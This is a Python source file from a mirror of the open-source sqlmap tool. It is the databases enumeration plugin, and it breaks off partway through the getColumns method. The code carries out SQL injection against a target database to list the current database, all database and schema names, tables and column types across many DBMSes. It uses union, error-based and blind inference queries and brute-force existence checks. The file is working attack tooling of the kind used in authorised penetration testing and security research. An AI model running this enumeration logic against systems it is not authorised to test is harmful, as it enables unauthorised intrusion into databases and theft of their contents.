mirror of
https://github.com/sqlmapproject/sqlmap.git
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896 lines
41 KiB
Python
896 lines
41 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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from lib.core.agent import agent
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from lib.core.common import arrayizeValue
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from lib.core.common import Backend
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from lib.core.common import extractRegexResult
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from lib.core.common import filterPairValues
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from lib.core.common import flattenValue
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from lib.core.common import getLimitRange
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from lib.core.common import isInferenceAvailable
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from lib.core.common import isListLike
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import parseSqliteTableSchema
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import safeSQLIdentificatorNaming
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import unArrayizeValue
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from lib.core.common import unsafeSQLIdentificatorNaming
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.data import queries
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from lib.core.dicts import FIREBIRD_TYPES
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from lib.core.dicts import INFORMIX_TYPES
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapMissingMandatoryOptionException
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from lib.core.exception import SqlmapNoneDataException
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from lib.core.exception import SqlmapUserQuitException
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from lib.core.settings import CURRENT_DB
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from lib.request import inject
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from lib.techniques.union.use import unionUse
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from lib.utils.brute import columnExists
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from lib.utils.brute import tableExists
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class Databases:
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"""
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This class defines databases' enumeration functionalities for plugins.
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"""
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def __init__(self):
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kb.data.currentDb = ""
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kb.data.cachedDbs = []
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kb.data.cachedTables = {}
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kb.data.cachedColumns = {}
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kb.data.cachedCounts = {}
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kb.data.dumpedTable = {}
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def getCurrentDb(self):
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infoMsg = "fetching current database"
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logger.info(infoMsg)
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query = queries[Backend.getIdentifiedDbms()].current_db.query
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if not kb.data.currentDb:
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kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
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if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
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warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
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warnMsg += "schema names for enumeration as the counterpart to database "
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warnMsg += "names on other DBMSes"
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singleTimeWarnMessage(warnMsg)
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return kb.data.currentDb
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def getDbs(self):
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if len(kb.data.cachedDbs) > 0:
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return kb.data.cachedDbs
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infoMsg = None
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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warnMsg = "information_schema not available, "
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warnMsg += "back-end DBMS is MySQL < 5. database "
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warnMsg += "names will be fetched from 'mysql' database"
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logger.warn(warnMsg)
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elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
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warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
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warnMsg += "for enumeration as the counterpart to database "
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warnMsg += "names on other DBMSes"
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logger.warn(warnMsg)
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infoMsg = "fetching database (schema) names"
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else:
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infoMsg = "fetching database names"
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if infoMsg:
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logger.info(infoMsg)
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rootQuery = queries[Backend.getIdentifiedDbms()].dbs
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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query = rootQuery.inband.query2
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else:
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query = rootQuery.inband.query
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values = inject.getValue(query, blind=False, time=False)
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if not isNoneValue(values):
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kb.data.cachedDbs = arrayizeValue(values)
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if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
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infoMsg = "fetching number of databases"
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logger.info(infoMsg)
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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query = rootQuery.blind.count2
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else:
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query = rootQuery.blind.count
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count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if not isNumPosStrValue(count):
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errMsg = "unable to retrieve the number of databases"
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logger.error(errMsg)
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else:
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plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
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indexRange = getLimitRange(count, plusOne=plusOne)
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for index in indexRange:
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if Backend.isDbms(DBMS.SYBASE):
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query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
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elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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query = rootQuery.blind.query2 % index
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else:
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query = rootQuery.blind.query % index
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db = unArrayizeValue(inject.getValue(query, union=False, error=False))
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if db:
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kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))
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if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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blinds = (False, True)
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else:
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blinds = (True,)
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for blind in blinds:
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count = 0
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kb.data.cachedDbs = []
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while True:
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query = rootQuery.inband.query2 % count
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value = unArrayizeValue(inject.getValue(query, blind=blind))
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if not (value or "").strip():
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break
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else:
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kb.data.cachedDbs.append(value)
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count += 1
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if kb.data.cachedDbs:
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break
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if not kb.data.cachedDbs:
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infoMsg = "falling back to current database"
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logger.info(infoMsg)
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self.getCurrentDb()
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if kb.data.currentDb:
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kb.data.cachedDbs = [kb.data.currentDb]
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else:
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errMsg = "unable to retrieve the database names"
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raise SqlmapNoneDataException(errMsg)
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else:
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kb.data.cachedDbs.sort()
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if kb.data.cachedDbs:
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kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs))))
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return kb.data.cachedDbs
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def getTables(self, bruteForce=None):
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if len(kb.data.cachedTables) > 0:
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return kb.data.cachedTables
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self.forceDbmsEnum()
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if bruteForce is None:
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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errMsg = "information_schema not available, "
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errMsg += "back-end DBMS is MySQL < 5.0"
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logger.error(errMsg)
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bruteForce = True
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elif Backend.isDbms(DBMS.ACCESS):
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try:
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tables = self.getTables(False)
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except SqlmapNoneDataException:
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tables = None
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if not tables:
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errMsg = "cannot retrieve table names, "
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errMsg += "back-end DBMS is Access"
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logger.error(errMsg)
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bruteForce = True
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else:
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return tables
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if conf.db == CURRENT_DB:
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conf.db = self.getCurrentDb()
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if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
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conf.db = conf.db.upper()
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if conf.db:
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dbs = conf.db.split(",")
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else:
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dbs = self.getDbs()
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dbs = [_ for _ in dbs if _ and _.strip()]
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for db in dbs:
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dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
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if bruteForce:
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resumeAvailable = False
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for db, table in kb.brute.tables:
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if db == conf.db:
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resumeAvailable = True
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break
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if resumeAvailable and not conf.freshQueries:
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for db, table in kb.brute.tables:
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if db == conf.db:
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if conf.db not in kb.data.cachedTables:
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kb.data.cachedTables[conf.db] = [table]
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else:
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kb.data.cachedTables[conf.db].append(table)
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return kb.data.cachedTables
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message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
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test = readInput(message, default="Y" if "Y" in message else "N")
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if test[0] in ("n", "N"):
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return
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elif test[0] in ("q", "Q"):
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raise SqlmapUserQuitException
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else:
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return tableExists(paths.COMMON_TABLES)
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infoMsg = "fetching tables for database"
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infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs)))
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logger.info(infoMsg)
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rootQuery = queries[Backend.getIdentifiedDbms()].tables
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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query = rootQuery.inband.query
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condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
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if condition:
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if not Backend.isDbms(DBMS.SQLITE):
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query += " WHERE %s" % condition
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if conf.excludeSysDbs:
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infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
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logger.info(infoMsg)
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query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
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else:
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query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
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if len(dbs) < 2 and ("%s," % condition) in query:
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query = query.replace("%s," % condition, "", 1)
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values = inject.getValue(query, blind=False, time=False)
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if not isNoneValue(values):
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values = filter(None, arrayizeValue(values))
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if len(values) > 0 and not isListLike(values[0]):
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values = [(dbs[0], _) for _ in values]
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for db, table in filterPairValues(values):
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db = safeSQLIdentificatorNaming(db)
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table = safeSQLIdentificatorNaming(unArrayizeValue(table), True)
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if db not in kb.data.cachedTables:
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kb.data.cachedTables[db] = [table]
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else:
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kb.data.cachedTables[db].append(table)
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if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
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for db in dbs:
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if conf.excludeSysDbs and db in self.excludeDbsList:
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infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
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logger.info(infoMsg)
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continue
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infoMsg = "fetching number of tables for "
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infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
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logger.info(infoMsg)
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if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
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query = rootQuery.blind.count
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else:
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query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
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count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if count == 0:
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warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
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warnMsg += "appears to be empty"
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logger.warn(warnMsg)
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continue
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elif not isNumPosStrValue(count):
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warnMsg = "unable to retrieve the number of "
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warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
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logger.warn(warnMsg)
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continue
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tables = []
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plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
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indexRange = getLimitRange(count, plusOne=plusOne)
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for index in indexRange:
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if Backend.isDbms(DBMS.SYBASE):
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query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
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elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
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query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
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elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
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query = rootQuery.blind.query % index
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elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
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query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
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else:
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query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
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table = unArrayizeValue(inject.getValue(query, union=False, error=False))
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if not isNoneValue(table):
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kb.hintValue = table
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table = safeSQLIdentificatorNaming(table, True)
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tables.append(table)
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if tables:
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kb.data.cachedTables[db] = tables
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else:
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warnMsg = "unable to retrieve the table names "
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warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
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logger.warn(warnMsg)
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if isNoneValue(kb.data.cachedTables):
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kb.data.cachedTables.clear()
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if not kb.data.cachedTables:
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errMsg = "unable to retrieve the table names for any database"
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if bruteForce is None:
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logger.error(errMsg)
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return self.getTables(bruteForce=True)
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elif not conf.search:
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raise SqlmapNoneDataException(errMsg)
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else:
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for db, tables in kb.data.cachedTables.items():
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kb.data.cachedTables[db] = sorted(tables) if tables else tables
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if kb.data.cachedTables:
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for db in kb.data.cachedTables.keys():
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kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))
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return kb.data.cachedTables
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def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
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self.forceDbmsEnum()
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if conf.db is None or conf.db == CURRENT_DB:
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if conf.db is None:
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warnMsg = "missing database parameter. sqlmap is going "
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warnMsg += "to use the current database to enumerate "
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warnMsg += "table(s) columns"
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logger.warn(warnMsg)
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conf.db = self.getCurrentDb()
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if not conf.db:
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errMsg = "unable to retrieve the current "
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errMsg += "database name"
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raise SqlmapNoneDataException(errMsg)
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elif conf.db is not None:
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if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
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conf.db = conf.db.upper()
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if ',' in conf.db:
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errMsg = "only one database name is allowed when enumerating "
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errMsg += "the tables' columns"
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raise SqlmapMissingMandatoryOptionException(errMsg)
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conf.db = safeSQLIdentificatorNaming(conf.db)
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if conf.col:
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if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
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conf.col = conf.col.upper()
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colList = conf.col.split(',')
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else:
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colList = []
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if conf.excludeCol:
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colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
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for col in colList:
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colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
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colList = filter(None, colList)
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if conf.tbl:
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if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
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conf.tbl = conf.tbl.upper()
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tblList = conf.tbl.split(",")
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else:
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self.getTables()
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if len(kb.data.cachedTables) > 0:
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if conf.db in kb.data.cachedTables:
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tblList = kb.data.cachedTables[conf.db]
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else:
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tblList = kb.data.cachedTables.values()
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if isinstance(tblList[0], (set, tuple, list)):
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tblList = tblList[0]
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tblList = list(tblList)
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elif not conf.search:
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errMsg = "unable to retrieve the tables "
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errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
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raise SqlmapNoneDataException(errMsg)
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else:
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return kb.data.cachedColumns
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tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))
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if bruteForce is None:
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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errMsg = "information_schema not available, "
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errMsg += "back-end DBMS is MySQL < 5.0"
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logger.error(errMsg)
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bruteForce = True
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elif Backend.isDbms(DBMS.ACCESS):
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errMsg = "cannot retrieve column names, "
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errMsg += "back-end DBMS is %s" % DBMS.ACCESS
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logger.error(errMsg)
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bruteForce = True
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if bruteForce:
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resumeAvailable = False
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for tbl in tblList:
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for db, table, colName, colType in kb.brute.columns:
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if db == conf.db and table == tbl:
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resumeAvailable = True
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break
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if resumeAvailable and not conf.freshQueries or colList:
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columns = {}
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for column in colList:
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columns[column] = None
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for tbl in tblList:
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|
for db, table, colName, colType in kb.brute.columns:
|
|
if db == conf.db and table == tbl:
|
|
columns[colName] = colType
|
|
|
|
if conf.db in kb.data.cachedColumns:
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
|
|
else:
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
|
|
test = readInput(message, default="Y" if "Y" in message else "N")
|
|
|
|
if test[0] in ("n", "N"):
|
|
return
|
|
elif test[0] in ("q", "Q"):
|
|
raise SqlmapUserQuitException
|
|
else:
|
|
return columnExists(paths.COMMON_COLUMNS)
|
|
|
|
rootQuery = queries[Backend.getIdentifiedDbms()].columns
|
|
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
|
|
|
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
|
for tbl in tblList:
|
|
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
|
|
and conf.db in kb.data.cachedColumns and tbl in \
|
|
kb.data.cachedColumns[conf.db]:
|
|
infoMsg = "fetched tables' columns on "
|
|
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.info(infoMsg)
|
|
|
|
return {conf.db: kb.data.cachedColumns[conf.db]}
|
|
|
|
infoMsg = "fetching columns "
|
|
condQuery = ""
|
|
|
|
if len(colList) > 0:
|
|
if colTuple:
|
|
_, colCondParam = colTuple
|
|
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
|
|
else:
|
|
colCondParam = "='%s'"
|
|
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
|
|
|
|
condQueryStr = "%%s%s" % colCondParam
|
|
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
|
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
|
query += condQuery
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
|
query += condQuery
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
|
|
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
|
query = rootQuery.inband.query % tbl
|
|
|
|
if dumpMode and colList:
|
|
values = [(_,) for _ in colList]
|
|
else:
|
|
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
|
|
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.info(infoMsg)
|
|
|
|
values = None
|
|
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
|
expression = query
|
|
kb.dumpColumns = []
|
|
kb.rowXmlMode = True
|
|
|
|
for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
|
|
kb.dumpColumns.append(randomStr().lower())
|
|
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
|
|
|
|
values = unionUse(expression)
|
|
kb.rowXmlMode = False
|
|
kb.dumpColumns = None
|
|
|
|
if values is None:
|
|
values = inject.getValue(query, blind=False, time=False)
|
|
|
|
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
|
|
index, values = 1, []
|
|
|
|
while True:
|
|
query = rootQuery.inband.query2 % (conf.db, tbl, index)
|
|
value = unArrayizeValue(inject.getValue(query, blind=False, time=False))
|
|
|
|
if isNoneValue(value) or value == " ":
|
|
break
|
|
else:
|
|
values.append((value,))
|
|
index += 1
|
|
|
|
if Backend.isDbms(DBMS.SQLITE):
|
|
parseSqliteTableSchema(unArrayizeValue(values))
|
|
elif not isNoneValue(values):
|
|
table = {}
|
|
columns = {}
|
|
|
|
for columnData in values:
|
|
if not isNoneValue(columnData):
|
|
name = safeSQLIdentificatorNaming(columnData[0])
|
|
|
|
if name:
|
|
if conf.getComments:
|
|
_ = queries[Backend.getIdentifiedDbms()].column_comment
|
|
if hasattr(_, "query"):
|
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
|
|
else:
|
|
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
|
|
|
|
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
|
|
if not isNoneValue(comment):
|
|
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
|
|
logger.info(infoMsg)
|
|
else:
|
|
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
|
|
warnMsg += "possible to get column comments"
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
if len(columnData) == 1:
|
|
columns[name] = None
|
|
else:
|
|
key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1]
|
|
if Backend.isDbms(DBMS.FIREBIRD):
|
|
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
notNull = False
|
|
if isinstance(key, int) and key > 255:
|
|
key -= 256
|
|
notNull = True
|
|
columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
|
|
if notNull:
|
|
columnData[1] = "%s NOT NULL" % columnData[1]
|
|
|
|
columns[name] = columnData[1]
|
|
|
|
if conf.db in kb.data.cachedColumns:
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
|
|
else:
|
|
table[safeSQLIdentificatorNaming(tbl, True)] = columns
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
|
|
|
|
elif isInferenceAvailable() and not conf.direct:
|
|
for tbl in tblList:
|
|
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
|
|
and conf.db in kb.data.cachedColumns and tbl in \
|
|
kb.data.cachedColumns[conf.db]:
|
|
infoMsg = "fetched tables' columns on "
|
|
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.info(infoMsg)
|
|
|
|
return {conf.db: kb.data.cachedColumns[conf.db]}
|
|
|
|
infoMsg = "fetching columns "
|
|
condQuery = ""
|
|
|
|
if len(colList) > 0:
|
|
if colTuple:
|
|
_, colCondParam = colTuple
|
|
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
|
|
else:
|
|
colCondParam = "='%s'"
|
|
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
|
|
|
|
condQueryStr = "%%s%s" % colCondParam
|
|
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
|
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
|
query += condQuery
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
|
query += condQuery
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
query = rootQuery.blind.count % (conf.db, conf.db, \
|
|
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
query = rootQuery.blind.count % (tbl)
|
|
query += condQuery
|
|
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
|
|
query += condQuery
|
|
|
|
elif Backend.isDbms(DBMS.SQLITE):
|
|
query = rootQuery.blind.query % tbl
|
|
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
parseSqliteTableSchema(value)
|
|
return kb.data.cachedColumns
|
|
|
|
table = {}
|
|
columns = {}
|
|
|
|
if dumpMode and colList:
|
|
count = 0
|
|
for value in colList:
|
|
columns[safeSQLIdentificatorNaming(value)] = None
|
|
else:
|
|
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
|
|
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.info(infoMsg)
|
|
|
|
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
if not isNumPosStrValue(count):
|
|
if Backend.isDbms(DBMS.MSSQL):
|
|
count, index, values = 0, 1, []
|
|
while True:
|
|
query = rootQuery.blind.query3 % (conf.db, tbl, index)
|
|
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
if isNoneValue(value) or value == " ":
|
|
break
|
|
else:
|
|
columns[safeSQLIdentificatorNaming(value)] = None
|
|
index += 1
|
|
|
|
if not columns:
|
|
errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
|
|
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
|
|
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
|
logger.error(errMsg)
|
|
continue
|
|
|
|
for index in getLimitRange(count):
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
|
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
|
query += condQuery
|
|
field = None
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
|
query += condQuery
|
|
field = None
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
field = condition.replace("[DB]", conf.db)
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
query = rootQuery.blind.query % (tbl)
|
|
query += condQuery
|
|
field = None
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
|
|
query += condQuery
|
|
field = condition
|
|
|
|
query = agent.limitQuery(index, query, field, field)
|
|
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
|
|
if not isNoneValue(column):
|
|
if conf.getComments:
|
|
_ = queries[Backend.getIdentifiedDbms()].column_comment
|
|
if hasattr(_, "query"):
|
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
|
|
else:
|
|
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
|
|
|
|
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
if not isNoneValue(comment):
|
|
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
|
|
logger.info(infoMsg)
|
|
else:
|
|
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
|
|
warnMsg += "possible to get column comments"
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
if not onlyColNames:
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
|
|
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
query = rootQuery.blind.query2 % (tbl, column)
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column)
|
|
|
|
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
|
|
key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType
|
|
if Backend.isDbms(DBMS.FIREBIRD):
|
|
colType = FIREBIRD_TYPES.get(key, colType)
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
notNull = False
|
|
if isinstance(key, int) and key > 255:
|
|
key -= 256
|
|
notNull = True
|
|
colType = INFORMIX_TYPES.get(key, colType)
|
|
if notNull:
|
|
colType = "%s NOT NULL" % colType
|
|
|
|
column = safeSQLIdentificatorNaming(column)
|
|
columns[column] = colType
|
|
else:
|
|
column = safeSQLIdentificatorNaming(column)
|
|
columns[column] = None
|
|
|
|
if columns:
|
|
if conf.db in kb.data.cachedColumns:
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
|
|
else:
|
|
table[safeSQLIdentificatorNaming(tbl, True)] = columns
|
|
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
|
|
|
|
if not kb.data.cachedColumns:
|
|
warnMsg = "unable to retrieve column names for "
|
|
warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
